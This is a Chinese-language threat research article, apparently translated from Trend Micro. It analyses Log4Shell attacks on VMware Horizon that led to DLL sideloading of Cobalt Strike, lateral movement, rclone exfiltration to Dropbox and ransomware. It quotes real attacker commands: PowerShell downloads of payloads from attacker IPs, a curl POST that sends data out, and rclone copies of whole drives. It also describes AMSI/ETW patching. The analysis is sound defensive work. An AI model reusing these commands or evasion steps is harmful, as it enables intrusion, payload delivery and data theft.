VMware 的 Log4Shell 漏洞,造成資料外洩與勒索病毒感染

趨勢科技分析了 VMware Horizon 軟體某些版本的 Log4Shell 漏洞遭到攻擊的案例。這些案例造成許多受感染系統的資料遭到竊取。此外我們也發現有些受害者在資料遭到竊取後的幾天之內又感染了勒索病毒。

Trend Micro Research 最近分析了幾個 VMware Horizon 軟體某些版本的  Log4Shell  漏洞遭到攻擊的案例。在調查這些事件的發生過程中,我們發現有許多案例的受害者資料遭到竊取,此外也有些受害者在資料遭到竊取後的幾天之內又感染了勒索病毒  。 

這項研究與 Sentinel Labs 資安團隊最近的一份報告 有關,此報告中描述了 LockBit  勒索病毒服務 (RaaS) 使用 VMware 某個指令列工具的技巧。他們的調查指出駭客可利用這項工具在 VMware 當中側載 (sideload) 動態連結函式庫 (DLL)。 

我們在研究中找到與 Sentinel Labs 發現的類似狀況,例如入侵途徑與側載行為,但本文討論的重點在於駭客的資料外傳與橫向移動技巧。

攻擊過程分析

入侵途徑

攻擊一開始是利用 VMware Horizon 的  Log4j 漏洞 (也就是 Log4Shell),接著啟動一個 PowerShell 執行個體來執行指令。駭客利用 PowerShell 指令來探索受害者的網路,接著下載「mfeann.exe」、「LockDown.DLL」和「c0000012.log」三個檔案。以下是整個過程的指令:

net group /domain
whoami

c:\windows\system32\net group /domain
c:\windows\system32\nltest /domain_trusts
c:\windows\system32\net user StantoDe /domain
c:\windows\system32\net time /domain

Invoke-WebRequest -uri hxxp://45[.]32.108.54:443/mfeann.exe -OutFile C:\users\public\mfeann.exe
Invoke-WebRequest -uri hxxp://45[.]32.108.54:443/LockDown.DLL -OutFile C:\users\public\LockDown.DLL
Invoke-WebRequest -uri hxxp://45[.]32.108.54:443/c0000012.log -OutFile C:\users\public\c0000012.log

在我們分析的個案中,用來側載惡意 DLL 的檔案有所不同。mfeann.exe 是一個負責建立事件和寫入記錄檔的執行檔。這是一個正常的執行檔,其數位簽章是由某家知名資安廠商所簽發,但駭客將此工具用來側載「LockDown.DLL」這個惡意 DLL 檔案。在另一個我們分析的個案中,駭客下載另一個名為「VMwareXferlog.exe」的正常執行檔,並利用相同的技巧來側載「glib-2.0.DLL」這個惡意 DLL。

圖 1:mfeann.exe 的數位簽章資訊。


圖 2:VMwareXferlog.exe 的數位簽章資訊。


請看下面指令:

Invoke-WebRequest -uri http://45.61.139.38/VMwareXferlogs.exe -OutFile c:\programdata\VMwareXferlogs.exe;
Invoke-WebRequest -uri http://45.61.139.38/glib-2.0.DLL -OutFile c:\programdata\glib-2.0.DLL;
Invoke-WebRequest -uri http://45.61.139.38/vmtools.ini -OutFile c:\programdata\vmtools.ini

下圖顯示 VMware Horizon 的 Log4j 遭到攻擊,接著透過 PowerShell 下載 VMware 工具程式和 惡意 DLL 檔案 (VMwareXferlog.exe 與 glib-2.0.DLL)。

圖 3:感染過程 (資料來源:Trend Micro Vision One)。


DLL 側載詳細過程

側載的時間點如前面所述,也就是在駭客成功攻擊 Log4j 漏洞接著下載 mfeann.exe、LockDown.DLL 和 c0000012.log 三個檔案之後。 

mfeann.exe 執行之後,會呼叫 LockDown.DLL 中的 LockDownProtectProcessById 函式,接著 LockDown.DLL 就會取得執行權,指令如下:

powershell -c curl -uri hxxp://45[.]61.137.57:80 -met POST -Body
([System.Convert]::ToBase64String(([System.Text.Encoding]::ASCII.GetBytes((C:\users\public\mfeann.exe)))))

圖 4:透過呼叫 LockDownProtectProcessById 函式來將執行權交給惡意的 LockDown.DLL。


惡意 DLL 會檢查自己是否在除錯器 (debugger) 環境中執行,並且試圖避開託管式偵測及回應 (MDR) 與 Microsoft 反惡意程式掃描介面 Antimalware Scan Interface (AMSI) 的偵測。接著將 c0000012.log 解碼,產生 CobaltStrike 惡意檔案 (這部分 Sentinel Labs 有詳細分析)。 

詳細動作如下:

1.除錯器反制技巧檢查 PEB 結構中的 BeingDebugged 旗標。

圖 5:除錯器反制檢查。


2.接下來,試著避開 AMSI 與 Microsoft 的事件追蹤。載入器會試圖避開 Event Tracing for Windows (ETW) 與 AMSI 的偵測,它會修改 EtwEventWrite 和 AmsiScanBuffer API 的程式碼,將它改成「程序返回」(RET) 指令。駭客使用以下函式來修改 EtwEventWrite 和 AmsiScanBuffer: 

圖 6:避開 ETW 和 AMSI 的技巧。

圖 7 和圖 8 顯示 EtwEventWrite 被修改之前與之後的程式碼。 

圖 7:EtwEventWrite 被修改之前。

圖 8:EtwEventWrite 被修改之後,原本的程式碼被改成返回指令 (0xC3)。

3.最後,載入器將加密的 CobaltStrike 惡意檔案映射到處理程序的虛擬記憶體內,然後將它解密並載入。

圖 9:映射並解開 CobaltStrike 惡意檔案的函式。


圖 10:來自 glib-2.0.DLL 的同一個函式,只不過加密檔案名稱不同。


一些值得注意的技巧與工具 

相同的載入器


不論是使用 mfeann.exe 搭配 LockDown.DLL,或是使用 VMwareXferlog.exe 搭配 glib-2.0.DLL,兩種方法的載入器幾乎完全一樣。 

圖 11:兩者的載入器 (第一個案例為 LockDown.DLL,第二個案例為 glib-2.0.DLL) 是相同的。

常駐系統


除此之外,我們也觀察到駭客產生的 WerFault.exe 會存取 lsass.exe,這顯示駭客有可能已竊取了系統上的登入憑證。此外,駭客還會利用現有的帳號,將它們加入網域系統管理員群組,以便盡可能融入環境。

圖 12:將帳號加入網域系統管理員群組。


橫向移動至網路上其他電腦


在讓系統初步感染 Cobalt Strike 之後,我們發現駭客會在系統植入一個名為「node.exe」的檔案,這是一個可從  Github 公開取得的潛行代理器 (proxy) 工具。此工具是以 GO 程式語言撰寫,能為駭客提供許多方便功能:從遠端執行指令列介面、上傳/下載檔案等等。這裡是用來為駭客提供一個反向指令列介面 (reverse shell),IP 位址:45[.]32.108.54,連接埠:80。 

在成功連上幕後操縱 (C&C) 伺服器的 IP 之後,我們看到一些使用 SMB 和 WMI 協定連上內部電腦的流量。接著 mfeann.exe、Lockdown.DLL 和 update.exe 三個檔案會被植入內部電腦 (經由 node.exe 工具)。 

資料外傳 


我們在某個案例中發現一個名為「update.exe」的執行檔相當有趣。這個檔案實際上是 rclone.exe 工具,用來將資料外傳至某個 Dropbox 地點。當上傳資料時,rclone 在不同時間會上傳至不同的 IP 位址:  

162.125.1[.]14 (Dropbox, Inc.)
162.125.1[.]19 (Dropbox, Inc.)
162.125.2[.]14 (Dropbox, Inc.)
162.125.2[.]19 (Dropbox, Inc.)
162.125.7[.]14 (Dropbox, Inc.)
162.125.7[.]19 (Dropbox, Inc.)

指令列介面指令:

cmd.exe /Q /c update.exe copy J: 4:1 -q –ignore-existing –max-age 2y –exclude *.exe 1> \\127.0.0.1\ADMIN$\__1649006901.3590112 2>&1
cmd.exe /Q /c update.exe copy L: 4:2 -q –ignore-existing –max-age 2y –exclude *.exe 1> \\127.0.0.1\ADMIN$\__1649007703.966517 2>&1
cmd.exe /Q /c update.exe copy Q: 4:3 -q –ignore-existing –max-age 2y –exclude *.exe 1> \\127.0.0.1\ADMIN$\__1649007856.0151849 2>&1

有另一個入侵案例也是使用相同的工具來將資料外傳,只不過名稱不同:Medias.exe。 

Medias.exe copy ‘\\[Private IP] \G$’ dropbox:ag -q –ignore-existing –max-age 2y –auto-confirm –multi-thread-streams 12 –transfers 10 –ignore-errors –exclude “*.{mp4,exe,DLL,log,mov,avi,db,ini,lnk}”

圖 13:使用 rclone.exe 工具將資料外傳。

資料外傳之後


在大多數我們分析的案例中,在資料外傳之後,駭客的攻擊就此結束。但有一個案例卻在資料外傳的 10 天之後感染了 Pandora 勒索病毒。

事件經過如下:首先,在 VMwareXferlog.exe 工具側載惡意 DLL 之後,接著系統被植入潛行工具,然後再植入 rclone 工具 (update.exe),用來將資料外傳。10 天之後,我們在受害電腦上偵測到 Pandora 勒索病毒。

攻擊階段

圖 14:根據我們研究的案例整理出的資料外傳與勒索病毒感染時間序列。


我們懷疑,由於從資料外傳到勒索病毒感染中間經過了相當長的一段時間,因此有可能駭客在資料外傳之後就將受害系統的存取權限賣給勒索病毒集團。販賣存取權限 在地下市場上早已見怪不怪,駭客的工作一旦完成,他們就可以將受害網路的入侵途徑賣給其他駭客集團。 

最新發現的載入器


當我們在尋找與 LockDown.DLL 和 glib-2.0.DLL 類似的載入器時,我們發現有一個類似的載入器在 6 月 22 日被通報給 Virus Total。這個載入器使用 mfeann.exe 工具來側載一個惡意的 LockDown.dll 檔案。我們看到的樣本,其植入系統的方式並非透過 Log4j 漏洞,而是經由「UnLockApps.exe」這個 .Net 木馬程式。

此木馬程式會在以下路徑「%appdata% \MfeannP1ugins」植入三個檔案:

  • mfeann.exe:一個用來側載惡意 LockDown.dll 的輔助工具。
  • LockDown.dll:惡意 DLL。 
  • avupdate_msg.avr:加密的 Cobalt Strike 惡意檔案。

雖然這個 LockDown.dll 樣本是近期製作 (2022 年 6 月 5 日),但似乎不如前面介紹的舊樣本那麼複雜。它不會檢查自己是否在除錯器環境中執行,也不會試圖避開資安產品的監測。

圖 15:LockDownProtectProcessById 函式。


此樣本的主函式與之前一樣,同樣是負責載入加密的檔案然後將檔案解密,最後產生一串 Cobalt 惡意內容。

圖 16:開啟 avupdate_msg.avr。


圖 17:解密金鑰。


圖 18:惡意檔案解密函式。

圖 19:解密後的 Cobalt 惡意檔案內容。


資安解決方案

企業可採用一套能偵測惡意元件與可疑行為的多層式資安防護來防範這起攻擊或其他勒索病毒攻擊。

如需完整的入侵指標 (IoC) 清單,請下載 這份文件。

MITRE ATT&CK

原文出處:Log4Shell Vulnerability in VMware Leads to Data Exfiltration and Ransomware 作者:Mohamed Fahmy